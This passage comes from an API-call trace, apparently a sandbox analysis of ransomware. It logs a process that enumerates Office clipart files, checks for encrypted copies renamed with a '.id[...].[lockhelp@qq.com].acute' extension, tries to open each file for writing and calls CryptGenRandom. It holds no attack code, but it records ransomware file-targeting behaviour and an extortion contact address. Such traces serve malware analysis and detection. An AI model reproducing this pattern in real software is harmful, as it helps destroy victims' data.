Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.037] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.038] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13936) returned 1 [0275.038] CloseHandle (hObject=0x310) returned 1 [0275.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0275.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.039] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.039] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6938) returned 1 [0275.039] CloseHandle (hObject=0x310) returned 1 [0275.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0275.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.040] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.040] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12356) returned 1 [0275.040] CloseHandle (hObject=0x310) returned 1 [0275.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0275.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.040] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.041] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6780) returned 1 [0275.041] CloseHandle (hObject=0x310) returned 1 [0275.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0275.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.041] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.041] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2280) returned 1 [0275.041] CloseHandle (hObject=0x310) returned 1 [0275.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0275.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.042] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.042] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=736) returned 1 [0275.042] CloseHandle (hObject=0x310) returned 1 [0275.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0275.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.042] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.042] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17308) returned 1 [0275.042] CloseHandle (hObject=0x310) returned 1 [0275.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0275.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.042] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.043] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7944) returned 1 [0275.043] CloseHandle (hObject=0x310) returned 1 [0275.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0275.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.044] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.044] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17850) returned 1 [0275.044] CloseHandle (hObject=0x310) returned 1 [0275.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0275.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.045] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.045] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11994) returned 1 [0275.045] CloseHandle (hObject=0x310) returned 1 [0275.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0275.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.045] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.093] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=30240) returned 1 [0275.093] CloseHandle (hObject=0x37c) returned 1 [0275.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0275.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.094] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.094] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=818) returned 1 [0275.094] CloseHandle (hObject=0x37c) returned 1 [0275.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0275.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.094] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.094] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14688) returned 1 [0275.094] CloseHandle (hObject=0x37c) returned 1 [0275.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0275.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.094] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.095] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13538) returned 1 [0275.095] CloseHandle (hObject=0x37c) returned 1 [0275.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0275.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.095] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.096] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5798) returned 1 [0275.096] CloseHandle (hObject=0x37c) returned 1 [0275.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0275.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.096] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.096] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3718) returned 1 [0275.096] CloseHandle (hObject=0x37c) returned 1 [0275.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0275.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.096] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.096] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1468) returned 1 [0275.097] CloseHandle (hObject=0x37c) returned 1 [0275.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0275.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.097] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.097] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1400) returned 1 [0275.097] CloseHandle (hObject=0x37c) returned 1 [0275.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0275.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.097] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.098] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12632) returned 1 [0275.098] CloseHandle (hObject=0x37c) returned 1 [0275.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 